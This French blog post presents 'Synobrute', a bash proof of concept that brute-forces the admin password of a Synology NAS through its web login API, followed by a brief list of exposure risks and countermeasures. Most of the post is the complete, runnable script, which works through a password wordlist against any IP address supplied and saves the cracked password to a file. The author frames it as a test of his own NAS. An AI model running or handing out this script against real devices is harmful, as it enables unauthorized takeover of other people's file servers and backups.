0

Synobrute – Attaque brute force sur un nas SYNOLOGY

Un grand nombre de TPE/PME utilise des NAS Synology ou Qnap pour jouer le rôle de fileserver ou de backup.

Ces NAS sont très simples à utiliser et surtout user-friendly. Il ne faut donc pas tomber dans le piège de la négligence lorsque l’on déploie ces solutions.

Afin de tester la sécurité de mon NAS j’ai réalisé un script de brute force pour obtenir le mot de passe du compte admin.

https://github.com/Thomas-Clauzel/experience_synology_attack/blob/master/bruteforce.sh

#!/bin/bash
echo "███████╗██╗   ██╗███╗   ██╗ ██████╗ ██████╗ ██████╗ ██╗   ██╗████████╗███████╗"
echo "██╔════╝╚██╗ ██╔╝████╗  ██║██╔═══██╗██╔══██╗██╔══██╗██║   ██║╚══██╔══╝██╔════╝"
echo "███████╗ ╚████╔╝ ██╔██╗ ██║██║   ██║██████╔╝██████╔╝██║   ██║   ██║   █████╗  "
echo "╚════██║  ╚██╔╝  ██║╚██╗██║██║   ██║██╔══██╗██╔══██╗██║   ██║   ██║   ██╔══╝  "
echo "███████║   ██║   ██║ ╚████║╚██████╔╝██████╔╝██║  ██║╚██████╔╝   ██║   ███████╗"
echo "╚══════╝   ╚═╝   ╚═╝  ╚═══╝ ╚═════╝ ╚═════╝ ╚═╝  ╚═╝ ╚═════╝    ╚═╝   ╚══════╝"
echo " "
echo "SYNOBRUTE - evolutio - 2018"
 
date
echo ""
echo " ./bruteforce.sh password.txt 192.168.1.101"
echo ""
cat password.txt |  while read output
do
[[ -z "$1" ]] && { echo "Parameter 1 is empty - fichier.txt " ; exit 1; }
[[ -z "$2" ]] && { echo "Parameter 2 is empty - ip_adress_nas " ; exit 1; }
echo "tentative avec le mot de passe $output sur $2"
syno_user="admin"
syno_pwd=$output
syno_url=$2 # eg 192.168.1.100
vAuth=2
touch pwned.txt
# Get Paths (recommended by Synology for further update)
curlResult=$(curl -s "http://${syno_url}:5000/webapi/query.cgi?api=SYNO.API.Info&method=Query&version=1&query=SYNO.API.Auth,SYNO.SurveillanceStation.Camera")
authPath=$(echo "$curlResult" | jq -r '.["data"]["SYNO.API.Auth"]["path"]')
#  login
curlResult=$(curl -s "http://${syno_url}:5000/webapi/${authPath}?api=SYNO.API.Auth&method=Login&version=${vAuth}&account=${syno_user}&passwd=${syno_pwd}&session=SurveillanceStation&format=sid")
if [[ $(echo "$curlResult" | jq -r '.["success"]') == 'true' ]]; then 
				echo -e "\033[32m ----------------------------------- \033[0m"				
				echo -e "\033[32m succes login for $syno_url \033[0m"
				echo -e "\033[32m ----------------------------------- \033[0m"				
				echo ""
                echo "login is admin $output" >> pwned.txt
                exit 0
fi
if [[ $(echo "$curlResult" | jq -r '.["success"]') == 'false' ]]; then
		echo -e "\033[31mError on login : bad password !!! \033[0m"
		echo ""
else
		echo -e "\033[31mError on login \033[0m"
		echo ""
fi
SID=$(echo "$curlResult" | jq -r '.["data"]["sid"]')				
curl -s "http://${syno_url}:5000/webapi/${authPath}?api=SYNO.API.Auth&method=Logout&version=${vAuth}&_sid=${SID}" > /dev/null 2>&1
done

Ici j’utilise l’API pour mener à bien l’attaque. Pas besoin de commenter le code il est plutôt simple.

Ce qu’il faut retenir de ce PoC c’est que l’attaquant peu profiter des plusieurs choses :

  • La présence du compte admin qui est l’identifiant pas défaut
  • La faiblesse du mot de passe (présent dans un dico top 100 …)
  • L’ouverture du port 5000 sur la box pour rendre le NAS accessible sur internet (scan de port)
  • Laisser le port par défaut (5000)

Les contres mesures sont donc les suivantes :

  • Changer le port par défaut du NAS
  • Ne pas ouvrir ce port sur internet
  • Renommer le compte admin
  • Mettre un mot de passe robuste

https://github.com/Thomas-Clauzel/experience_synology_attack/blob/master/bruteforce.sh

admin

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *